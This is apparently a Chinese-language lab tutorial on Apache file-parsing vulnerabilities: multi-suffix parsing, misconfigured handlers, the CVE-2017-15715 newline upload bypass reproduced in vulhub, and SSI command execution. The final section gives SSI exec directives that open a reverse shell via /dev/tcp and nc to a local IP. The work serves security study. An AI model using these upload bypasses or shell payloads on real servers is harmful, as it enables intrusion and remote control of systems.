apache的目录结构
bin 存在常用命令工具,例如:start.bat、httpd.batcgi-bin存放linux下常用的命令。例如:xxx.shconfapache的相关配置文件,例如:httpd.conferror错误日志记录htdocs放网站源码的地方logs日志manual手册modules扩展模块
运行原理
先理解apache与php,了解一次完整web请求流程:请求从request开始,到response结束
apache与php配合完成一次web请求,apache在前,php在后,我们搜先了解php框架:
通过上图可以看出PHP的整体分为5层(类似Android的架构图),分别解释下:
1.Zend Engine是PHP的底层实现,包含编译和执行,底层由C语言实现。2.Zend API、Zend Extension API是基于Zend底层对外封装提供服务。3.Extendions使用Extension API实现了扩展库、标准库,例如各种内置函数、MySQL连接库等4.SAPI是服务器应用程序编程接口,就是通过它来和apache、nginx、FastCGI交互5.Application是最上层,也就是我们写的PHP代码了
对于Apache本身不支持php解析,通过架构图可以通过SAP进行通信,那apache如何跟SAPI通信·?apache怎么知道是什么类型的文件要解析为php,如果你动手搭建过apache解析php的环境,就肯定了解这两个问题:
#加载php5_module模块LoadModule php5_module php5apache2_2.dll 路径#添加可以执行php的文件类型,让.php解析为phpAddType application/x-httpd-php .php#或者将addtype变为下面的(在apache 2.4.0~2.4.29中默认使用了该方式)<FilesMatch \.php$> SetHandler application/x-httpd-php</FilesMatch>以及<IfModule dir_module>DirectoryIndex index.html index.htm index.php index.phtml</IfModule>
apache通过LoadModule来加载php5_module模块(php5apache2_2.dll),这样做的目的是让apache加载php5_module模块来解析php文件。意思其实就是用loadmodule来加载php5_module。也就是把php作为apache的一个子模块来运行。当通过web访问php文件时,apache就会调用php5_module来解析php代码。
调用的过程:http-apache-php5_module->SPAI-PHP
总的原理分析
apache默认是一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别时,则继续向左识别,直到识别到合法后缀才进行解析。
apache和php存在三种结合方式
(CGI模式,FastCGI模式,Module模式)
1,使用module模式和php结合的所有版本apache存在未知扩展名解析漏洞
(apache
2,使用fastcgi模式与php结合的所有版本apache不存在此漏洞
3,利用此漏洞是必须保证扩展名中至少带有一个.php,不然将默认作为.txt/html文档处理
apache文件解析漏洞
--未知拓展名解析漏洞
apache默认一个文件可以有多个点分割的后缀(test.php.abc),当最后边的后缀无法识别,(不在mime.types文件中)继续向左识别,直到识别到合法后缀才进行解析。
复现简单例子
上传一个名字叫lcx.php.qqq的文件,当此特性存在的时候,一看.qqq不认识,继续解析,.php我们认识,就解析成php文件了,访问也是同理,比如访问phpinfo.php.qqq可成功显示phpinfo
1,apache2.0handler使用的是module模式
kali环境:
启动apache2
systemctl restart apache2 systemctl status apache2
测试是否可以解析php文件
然后访问
分析apache解析漏洞
apache2和apache目录不同,apache2大致可以分为conf,mods,sites目录以及一些配置文件,每个目录都有enables类型和availablelia后缀两种
可以知道php的配置在mods-avaliable目录中
查看第一行可以看到apache会将那些后缀的文件当做php解析
其实apache解析漏洞根本原因就是$符号,在正则中$用来匹配字符串结尾位置。
复现过程就是把php.7.4.conf文件中提到的正则,修改为$ 为 *
然后重启apache
然后访问phpinfo.php.jpg
注意:
在mime.type文件中,不仅仅有php还有php3,php4,php5
配置问题总结:
1,如果修改apache2、mods-enabled/phpxx.conf文件中第一行表达式,会出现文件解析漏洞
2,r如果在apache的etc/apache2/apache2.conf中这样的配置
这时候文件名为包含ipg的文件,全部解析成php
3,在apache的sites-enable目录下面添加一个conf文件,配置一行代码:
也就是只要文件包含有.php,就可以解析成php
4,在/etc/apache2/mods-enabled/phpxx.conf正则表达式,匹配php,phar,phtml和。etc/types匹配php3,php4,php5等一些文件,我们在此范围修改后缀名上传文件,可以简单的绕过一些限制。
apache httpd换行解析漏洞(cve-2017-15715)
apache通过mod_php模式来运行脚本,其2.4.0-2.4.29中存在Apache换行解析漏洞,在解析php时xx.php\0A将安全php后缀进行解析,导致绕过一些安全机制。
在etc/apache/mods-enabled/php7.3.php第一行正则限制了可以解析的php文件类型。
l利用这一机制,如果在文件名后添加换行符,是否可以绕过文件上传限制,并同时达到让php解析的地步,
1.php\x0a = 1.php\n
下载vulhub
git clone https://github.com/vulhub/vulhub.git
启动(cve-2017-15715)漏洞环境
cd vulhub-master/httpd/CVE-2017-15715/# docker-compose up -d运行后,会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在,则不会再次编译;如果配置文件中包含的环境不存在,则会自动进行编译。所以,其实docker-compose up -d命令是包含了docker-compose build的。如果更新了配置文件,你可以手工执行docker-compose build来重新编译靶场环境。docker-compose builddocker-compose up -d docker ps列出所有在运行的容器信息。
漏洞测试:
直接上传文件失败,用bp抓包请求报
在1.php后面添加符号
.符号hex编码为2e0a在hex解码或为换行符
将2e改成0a
可以上传成功,我们再去访问2.php%0a
可以上传成功理由:
我们在结尾处$符号,如果设置了RegExp对象的Multiline属性,则$也匹配了"\n" 或“\r"我们在文件结尾加上\x0a(\n),保证了文件解析的同时,也可以绕过上传黑名单。
apache ssi远程命令执行漏洞
ssi是放置在html页面中的指令,他可以将动态生成的内容添加到现在的html页面,而不需要cgi程序或动态技术来提供整个页面。简单理解就是:在html中加入特定指令,可以引入其他的页面。
在测试文件上传的时候,目标服务器可能不允许上传php后缀的文件,如果目标服务器上开启了ssi和cgi支持,那就可以上传shtml文件,并利用语法执行任意命令
cd /root/vulhub-master/httpd/ssi-rcedocker-compose up -ddocker pscat upload.php
复现:
创建脚本:
<pre> 利用ssi执行系统命令的工作,正常一个包含ssi指令的文件保存在test.shtml文件中<!--#exec cmd="whoami" --></pre>
上传木马
可以看到shtml文件被执行,whoami指令返回结果
反弹shell
<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.43.129/8888 0<&1 2>&1" --><!--#exec cmd="nc 192.168.43.129 8888 -e /bin/bash"-->